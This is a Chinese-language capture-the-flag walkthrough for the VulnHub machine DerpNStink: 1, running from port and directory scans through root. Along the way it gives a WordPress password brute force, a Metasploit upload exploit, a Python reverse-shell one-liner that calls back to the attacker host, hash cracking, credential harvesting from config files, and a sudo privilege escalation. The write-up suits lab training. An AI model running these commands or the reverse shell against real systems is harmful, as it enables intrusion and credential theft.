靶机:DerpNStink: 1 <https://www.vulnhub.com/entry/derpnstink-1,221/>
攻击机:kail linux 2024
目标:获得4个flag
1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址
2,攻击机上做主机扫描发现靶机
靶机的IP地址192.168.23.134,攻击机IP地址192.168.23.128
3,对靶机进一步扫描
nmap -sS -sV -n -T4 -p- 192.168.23.134
分别开启了ftp/21,ssh/22,http/80
4,对靶机进行目录扫描爆破
5,存在敏感目录信息泄露
有以下敏感目录
6,访问网页,得到第一个flag
flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166)
7,发现第一个flag的时候有一个提示,提示需要添加hosts 文件进行解析 路径为:vim /etc/hosts 添加如下:
接下来对提示的页面操作
8,继续目录爆破操作
dirb http://derpnstink.local/ #进行目录扫描 发现weblog,继续探测
dirb http://derpnstink.local/weblog #发现wp-admin
9,对页面做一个指纹识别
为WrodPress CMS框架
10,使用WPScan扫描
wpscan --url http://derpnstink.local/weblog -e e参数用于枚举用户名
枚举出来一个用户
10,对该页面进行弱口令爆破,得到密码admin
DeRPnStiNK Professional Services ‹ Log In
成功登录该页面。
11,这里扫描发现此页面为4.6.29版本
wpscan --url http://derpnstink.local/weblog/
而slideshow-gallery是wordpress的plugin
12,打开MSF 搜索 search Slideshow Gallery 看是否有可利用的模块,尝试利用
13,这里看出是任意文件上传漏洞,设置攻击参数
set rhosts 192.168.23.134 #设置目标IP地址
set wp_user admin #设置账号
set wp_password admin #设置密码
set targeturi /weblog #设置路径
exploit #运行
14,成功获得shell
第一种方法得到flag2:直接进入页面查找
15,查看数据库配置文件,路径/var/www/html/weblog/wp-config.php
得到一对账户/密码:root/mysql
16,得到的账户密码用来登录http://derpnstink.local/php/phpmyadmin
17,在wp-posts表中查看到Flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
18,获得shell,查看到www-data权限
python -c 'import pty; pty.spawn("/bin/bash")' #pyton获取终端
19,反弹shell利用脚本
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.128",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
20,在16步的同时攻击机开启端口监听
发现当16步执行后获得了靶机的shell
21,获取可以交互的shell
python -c 'import pty; pty.spawn("/bin/bash")'
22,得到数据库配置文件的绝对路径:/var/www/html/weblog/wp-config.php
23,查看数据库配置文件,并筛选出来name/password
cat /var/www/html/weblog/wp-config.php
得到一对账户/密码:root/mysql
24,使用得到的账户密码登录数据库
mysql -u root -p mysql
查看数据库名:show databases;
使用wordpress库,并查看表名
use wordpress
show tables;
列出用户信息
select * from wp_users;
25,进行John爆破unclestinky账户被加密的密码
echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41' > 1.txt
使用爆破字典之前先解压
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
得到了账户/密码:unclestinky/wedgie57
26,在home页面下发现两个用户
第一种方法得到flag3:密码切换用户
27,尝试切换用户,发现stinky的密码正好是wedgie57
28,得到flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
第二种方法得到flag3:FTP服务+SSH私钥
29,根据第3步端口扫描知道开启了ftp服务,可以尝试攻击机上ftp登录
密码/账户是:stinky/wedgie57
30,查看ftp服务器里面的私钥文件,路径:/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh
31,下载私钥文件到攻击机
32,ssh登录,给执行权限
ssh -i key.txt stinky@192.168.23.134
chmod 600
成功登录拿到flag
33,在第30步查看ftp的/files/network-logs目录下面发现一个文件
对话提示说修改密码的时候,进行了抓包
34,在stinkey用户的/~/Documents目录下发现流量包
35,scp 命令且使用下载的私钥文件将stinky的流量包文件拷入攻击机
scp -i key.txt stinky@192.168.23.134:/~/Documents/derpissues.pcap /root/1.pcap
36,查看流量包,过滤栏中过滤http协议,过滤字符串pwd
如此得到了账户/密码:mrderp/derpderpderpderpderpderpderp
37,尝试账户/密码进行ssh登录,登录成功
38,在该用户桌面目录下查看到一个文件,查看之
提示访问https://pastebin.com/RzK9WfGw
39,提示
这是考查的一个linux sudo命令知识点:
允许mrderp用户在主机上以root用户权限读写执行/home/mrderp/binaries/目录下derpy开头的文件
sudo -l #-l 显示出自己(执行sudo的使用者)的权限
40,根据提示操作
首先创建binaries/目录 mkdir binaries/
编辑一个derpy开头的可执行文件 echo '/bin/bash' >> derpy.sh
赋权 chmod 777 derpy.sh
41.执行该derpy.sh文件后获得root权限
42,得到第四个flag,flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)